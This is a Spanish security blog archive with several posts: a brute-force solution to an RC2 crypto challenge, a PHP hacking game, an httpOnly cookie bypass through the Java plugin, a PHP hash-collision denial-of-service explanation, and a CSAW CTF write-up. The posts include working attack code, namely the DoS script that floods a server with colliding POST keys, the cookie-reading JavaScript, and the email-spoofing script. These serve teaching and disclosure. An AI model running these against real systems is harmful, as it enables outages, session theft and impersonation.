Contenido principal

Uso de entropía para la obtención de candidatos a texto plano

Agosto 3, 2012

El día 12 de Julio, a través de Facebook, publiqué un pequeño desafío en el cual se debía obtener el texto plano de una cadena cifrada.

El desafío en cuestión era:
"Gana una licencia original de ESET Smart Security Home Edition resolviendo un reto! Estos son los datos:
Algoritmo: RC2
Modo: ECB
Texto cifrado: jf3NiZlBlpU3kRe3Kndb5RfEqBrukWk/KoEx1mNYKTc="

El desafío se extendió en twitter para tener más cobertura, pero luego de dos semanas sin recibir respuestas decidí rifar la licencia.

Resolución

Durante el transcurso de las dos semanas se dieron las siguientes pistas:
:arrow: Entropía de información http://es.wikipedia.org/wiki/Entropía_(información)!
:arrow: if (entropy(variable) <= 4,7) then variable is a plaintext candidate
:arrow: password can be found in a common wordlist.

Juntando las pistas y sin entrar en mucho detalle, construimos un pequeño script en PHP que permite obtener los posibles candidatos a texto plano usando el concepto de entropía:

<?php

// Decodificamos el texto cifrado para llevarlo a su estado natural
$cipher = base64_decode('jf3NiZlBlpU3kRe3Kndb5RfEqBrukWk/KoEx1mNYKTc=');

// Leemos las contraseñas de una lista con palabras comunes
$words = file('worst.txt');

foreach ($words as $word) {
    $word = trim($word);
   
    // Desciframos el texto usando una de las palabras comunes
    // El algoritmo es RC2 y el modo ECB
    $text = mcrypt_decrypt(MCRYPT_RC2, $word, $cipher, MCRYPT_MODE_ECB);
   
    // En este punto se encuentra la magia
    // Si la entropía del texto descifrado es menor o igual a 4.7
    // entonces lo consideramos como un posible candidato a texto plano
    if (entropy($text) <= 4.7) {
        echo $word . "\t" . $text . "\t" . entropy($text) . PHP_EOL;
    }
}

// Función de entropía que obtiene el grado de dispersión del texto plano
// a menor dispersión, mayor probabilidad de encontrar un texto coherente
// a mayor dispersión, mayor probabilidad de encontrar un texto binario
function entropy($text) {
    $entropy = 0;
    $len = strlen($text);
    if ($len == 0)
        return 0;
   
    $map = array();
    for ($i = 0; $i < 256; $i++)
        $map[$i] = 0;
   
    for ($i = 0; $i < $len; $i++)
        $map[ord($text[$i])]++;
   
    for ($i = 0; $i < 256; $i++) {
        $p = $map[$i] / $len;
        if ($p > 0) {
            $entropy -= $p * (log($p) / log(2));
        }
    }
   
    return $entropy;
}

Suponiendo que los únicos caracteres que conforman el texto plano son las veintiseis (26) letras del alfabeto latino (a - z), la entropía por carácter se calcula usando la fórmula "Logaritmo en base 2 de 26", que tiene como resultado 4,7.

Ejecutando el script observamos las posibles claves y valores para el texto plano:

Clave   Candidato texto plano                   Entropía
123456  Quiero una licencia de 3537!            3.890
fuck    G╩▄ı·Úæ$9 íÊù­æYl4─çÝ─ cı♠\╣▄¾Ï♠         4.625
love    ­►õÑq─#êC¾►▀\1‼↑±╠«ìD¿┤bàfbà▀¶‼←         4.687
sparky  Á┌®§*,¯ê:~ ¬"Z¬®ê╔ü!>»oDåñZOh»,Ù        4.625
andrea  ♠¯┌ºoòaR¨é└ù£┘ò\]aùÉp┘bh¾┌├µ|♫Kp        4.625
morgan   _zß┴ó°QôYıùø►É%Ö▲ïÚ5÷╚┐┴ã▓5 ßı♫        4.687
teens   ]╬╬┼"G♀P«↑♠¨áxóÀb╬r2♫uä?.2♥╬‼|Ýæ        4.687
lakers  k¸╗☼¶Ûµø]][#aª┬¤èª<┼?ªÑ║¸ƒ║¤Xîñ4        4.601
monster Ä╗↔·\7SÓ+_ 0ÿï♦┤Ï→ƒ7¨­¶§l\ÙCÏÄu♦         4.687
baby    UÀ☺╣ÔÃ5yî(█º┴Ô­D±¨vâyá|ÑÆ☼DÆU¨j|         4.562
squirt  íÜ‗ð½♫ÆQ©╠ü ñ­£©þ─↑³|ÜíJ(%Nº▲Qý³         4.687
hunting õC♠/z♠¢═à♥█◄JUÂ\Y▓\1┌▓ÒÒ↑U⌂ÚÁiã▬        4.687

El mismo concepto puede apreciarse en herramientas de criptografía como Cryptool:

Entropía de información

La respuesta final al desafío era: Quiero una licencia de 3537!

Resolución alternativa

La resolución alternativa por Perverths0 es utilizar expresiones regulares para descartar cualquier texto en plano que no contenga caracteres ASCII, una muy buena idea también:

<?php

$method = 'RC2-ECB';
$decode = 'jf3NiZlBlpU3kRe3Kndb5RfEqBrukWk/KoEx1mNYKTc=';

$fp = fopen('cain.txt', 'r');
while ($linea = fgets($fp, 1024)) {
    $pass = trim($linea);
    $plain = mcrypt_decrypt(MCRYPT_RC2, $pass, base64_decode($decode), MCRYPT_MODE_ECB);
   
    if (!preg_match('/[\x80-\xFF]/', $plain)) {
        echo "La respuesta es: $pass - $plain";
        break;
    }
}

Archivado en: Criptografía, Retos informáticos | Comentarios (2)

NULL Game

Abril 24, 2012

NULL Life

A continuación podrán encontrar el enlace que los llevará a través de una serie de retos elaborados en PHP, para completar cada reto deben llegar a la función readfile(), una vez allí, el script le mostrará la ruta para el siguiente nivel. El número de niveles es desconocido, una vez complete toda la serie lo sabrá!

Es la oportunidad perfecta para demostrar varios de los conocimientos que pueden ser adquiridos en el área de la seguridad referente a PHP, además, la primera persona en completar todos los niveles, ganará una extraordinaria suma de 64usd! (Lo siento, es lo que puedo ofrecer al momento), el premio es redimible con paypal o amazon!

Como retroalimentación, puedes enviarme al correo tu avance, como respuesta pueden haber pistas!

Email

LLévame al NULL Game!

Archivado en: Retos informáticos, Seguridad | Comentarios (6)

Bypass httpOnly in Firefox 8.0.1 and Java 7ux

Enero 2, 2012

This vulnerability allows an attacker to read cookie values created by httpOnly mechanism using Java plugin for Mozilla browsers (npjp2.dll). Remember that: "The new release of Java is first made available to the developers to ensure no major problems are found before we make it available on the java.com website for end users to download the latest version. If you are interested in trying Java SE 7 it can be downloaded from Oracle.com", so there is no risk when using earlier versions of plugin.

All the credits goes to Mario Heiderich for publishing an image that contains some hints about the vulnerability (http://yfrog.com/gzsmipp).

This is the proof of concept

The code I used was:

var jurl = new Packages.java.net.URL(document.URL);
var c = jurl.openConnection();
var h = c.getHeaderFields();
alert(h);

Archivado en: Hacking, Seguridad | Comentarios (4)

Denegación de servicio a través de tabla hash en PHP

Enero 2, 2012

En el 2003, Scott A. Crosby y Dan S. Wallach publicaron la teoría inicial de denegación de servicio a través de tablas hash en el artículo "Denial of Service via Algorithmic Complexity Attacks", allí explican como las deficiencias en los algoritmos para generar el índice de la tabla hash y la implementación de algoritmos contra colisiones pueden ser aprovechados para provocar una denegación de servicio que utiliza poco ancho de banda.

El 28 de diciembre de 2011, la compañía de consultoría n.runs envió a la lista de Full Disclosure una publicación con más detalle de la vulnerabilidad, mencionando en este caso los productos afectados, entre los que podemos encontrar: PHP, Java, Apache Tomcat, Apache Geronimo, Jetty, Oracle Glassfish, ASP.NET, Python, Plone, CRuby 1.8, JRuby, Rubinius y v8.

A continuación un pequeño resumen de la vulnerabilidad y como puede ser explotada en PHP.

Tablas hash

La tabla hash es una estructura de datos usada para asociar índices con valores. A continuación el ejemplo típico de tabla hash en PHP.

Esta asociación se realiza nativamente en PHP5 mediante un índice numérico obtenido a través de la función DJBX33A cuando el índice es una cadena de texto. Si el índice es numérico entonces el hash es simplemente el índice.

static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength)
{
    register ulong hash = 5381;
    /* variant with the hash unrolled eight times */
    for (; nKeyLength >= 8; nKeyLength -= 8) {
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
    }
    switch (nKeyLength) {
        case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 1: hash = ((hash << 5) + hash) + *arKey++; break;
        case 0: break;
        EMPTY_SWITCH_DEFAULT_CASE()
    }
    return hash;
}

El resultado para la anterior asociación es algo similar a:

Cuando se produce una colisión (Índices diferentes con el mismo valor hash), existen diferentes algoritmos para conservar los valores aún sabiendo que el índice nativo es el mismo.

PHP usa el algoritmo de encadenamiento separado, para cada índice con colisión crea una lista con los valores como es mostrado a continuación. (Imagen generada por Jorge Stolfi)

La colisión está presente para los índices "John Smith" y "Sandra Dee", en el índice nativo 152 se crea una lista con los valores originales de John y Sandra: "521-1234" y "521-9655". Cuando se crean muchas colisiones, el algoritmo debe recorrer todos los elementos en busca del último en la lista.

Ahora veamos la vulnerabilidad desde la programación de PHP. Para cada índice en la tabla hash se tiene una estructura llamada bucket:

typedef struct bucket {
 ulong h; /* Used for numeric indexing */ // hash
 uint nKeyLength; // longitud del índice (En caso de ser cadena de texto)
 void *pData;
 void *pDataPtr;
 struct bucket *pListNext; // siguiente elemento
 struct bucket *pListLast; // último elemento
 struct bucket *pNext; // siguiente elemento cuando hay colisión
 struct bucket *pLast; // último elemento cuando hay colisión
 char arKey[1]; /* Must be last element */
} Bucket;

Al crear un array con valores numéricos, PHP llama internamente la función _zend_hash_index_update_or_next_insert que tiene como principal argumento la tabla hash y el hash h que corresponde al índice numérico.

ZEND_API int _zend_hash_index_update_or_next_insert(HashTable *ht, ulong h, void *pData, uint nDataSize, void **pDest, int flag ZEND_FILE_LINE_DC)

Si el elemento está destinado a inserción, se busca el siguiente elemento libre de la tabla hash

if (flag & HASH_NEXT_INSERT) {
    h = ht->nNextFreeElement;
}

Y acá se encuentra la vulnerabilidad, al hash se le aplica la operación AND con la máscara de la tabla que es definida como ht->nTableMask = ht->nTableSize - 1, y es asignado al índice nativo

    nIndex = h & ht->nTableMask;

El tamaño de la tabla a su vez es definida por la instrucción ht->nTableSize = 1 << i;, la cual permite definir un tamaño razonable en potencias de dos, comenzando desde un tamaño mínimo de 8.

Número de elementos Tamaño real
1 8
2 8
3 8
7 8
15 16
60 64
269 512

Luego de obtener el índice nativo, se retorna el bucket para ese índice. Si el bucket es diferente de nulo entonces es porque se encontró una colisión, lo siguiente que hace el algoritmo es comparar el hash actual con el hash anterior (Recordar que el hash es el índice numérico no nativo, por lo que deben ser diferentes), si son diferentes retorna el próximo bucket que se encuentra en la lista para la colisión nIndex. Cuando las colisiones son muchas, el ciclo es comparado a un ciclo infinito, lo que produce la denegación de servicio.

    p = ht->arBuckets[nIndex];
    while (p != NULL) {
    if ((p->nKeyLength == 0) && (p->h == h)) {
        // comentado para ahorrar espacio
    }
    p = p->pNext;

En PHP 5.3.9 se introdujo una nueva variable de configuración llamada "max_input_vars" que por defecto está en 1000. Es recomendable su actualización.

No siendo más, la famosa prueba de concepto.

Y el código con el que se realizó dicha prueba.

<?php
/**
 * Denial of service using hash table collisions in PHP
 * @author Daniel Correa
 * @url http://www.sinfocol.org/
 */
$payload = '';
$url = 'http://localhost/';
$size = 1024 * 1024 * 8; // 8MB is the default POST size in PHP

$i = 0;
do {
    $payload .= 'h[ ' . ($i * 8192) . ']=0';
} while (strlen($payload) < $size - 1024);

$start = microtime(true);

echo "Sending payload...\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);

$data = curl_exec($ch);
echo "Elapsed time: " . (microtime(true) - $start);

Archivado en: Hacking, Seguridad | Comentarios (7)

WriteUp EvilBurritos2 - CSAW 2011

Septiembre 27, 2011

A continuación pueden encontrar la solución para el reto EvilBurritos2, propuesto la semana pasada en Cyber Security Awareness Week (CSAW 2011).

Descripción

EvilBurritos2 - 300 Points
We also need you to compromise... I mean, investigate... Evil Burritos, please find the password to their server! http://csawctf.poly.edu:10000/75fc6678064eaa15f1385b031ce6246b/core.burritos

EvilBurritos2

Resolución

Buscando a través de las cadenas de texto en el archivo core.burritos, encontramos el siguiente correo.

* 1 FETCH (UID 6 BODY[] {1071}
MIME-Version: 1.0
Received: by 10.42.241.10 with HTTP; Sun, 28 Aug 2011 18:22:41 -0700 (PDT)
To: shrlchn99@evil-inc.burritos
Date: Sun, 28 Aug 2011 19:22:41 -0600
Message-ID: <CAETwm9ZgPAwARUw34_Jy=LdP3WPTuU68UCQUBeVswu-9OkVUxA@mail.gmail.com>
Subject: Evil Burritos
From: Kim Jung <kmjng6@gmail.com>
Content-Type: multipart/alternative; boundary=20cf30363ae736dd1204ab9abb2f
--20cf30363ae736dd1204ab9abb2f
Content-Type: text/plain; charset=UTF-8
Shirly, I changed the name of the burrito making machine to KILLTHEPLANET.
If you want to change it back fell-free, just log in and type:
change-burrito-machine-name, if you forgot the password let me know.
LONG LIVE THE EVIL BURRITOS!
--20cf30363ae736dd1204ab9abb2f
Content-Type: text/html; charset=UTF-8
Shirly, I changed the name of the burrito making machine to KILLTHEPLANET. If you want to change it back fell-free, just log in and type: change-burrito-machine-name, if you forgot the password let me know.

LONG LIVE THE EVIL BURRITOS!

--20cf30363ae736dd1204ab9abb2f--

En él, Kim Jung le dice a Shirly que se ha cambiado el nombre de la máquina de burrito a KILLTHEPLANET y que si ha olvidado la contraseña puede contactar con Kim Jung.
Emyei (Un miembro de nuestro equipo), envio dos correos a la dirección kmjng6@gmail.com.
Con el primer correo la respuesta de Kim fue "Shirly???", enviando el mensaje "yes", Kim responde inmediatamente con "I don't know what you're talking about.".
Con esto se comprueba la teoría del bot detrás del correo.

El script desarrollado para pasar el reto es el siguiente.

<?php
    $to      = 'kmjng6@gmail.com';
    $subject = 'forgot password';
    $message = 'hello, I forgot my password of the KILLTHEPLANET machine. LONG LIVE THE EVIL BURRITOS!';
    $headers = 'From: shrlchn99@evil-inc.burritos' . "\r\n" .
               'Reply-To: admin [AT] sinfocol [D0T] org' . "\r\n";
    mail($to, $subject, $message, $headers);

Lo importante en el script no es el contenido de la variable $message, sino agregar correctamente los headers, "From" que apunte al correo de evil burritos, y "Reply-to" el correo donde la respuesta es enviada.

La respuesta obtenida fue.
Hi Shirly, saw you message, if you forgot the key it is: fire_burritos_are_really_really_good

Respuesta

fire_burritos_are_really_really_good

Archivado en: Hacking, Retos informáticos | Comentarios (4)